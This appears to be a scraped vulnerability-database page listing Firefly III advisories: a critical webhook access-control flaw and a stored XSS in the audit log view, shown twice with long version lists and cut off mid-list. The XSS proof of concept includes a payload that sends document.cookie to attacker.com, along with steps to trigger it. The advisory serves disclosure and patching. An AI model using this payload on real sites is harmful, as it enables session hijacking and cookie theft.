Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 23, 2026

v6.5.8 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


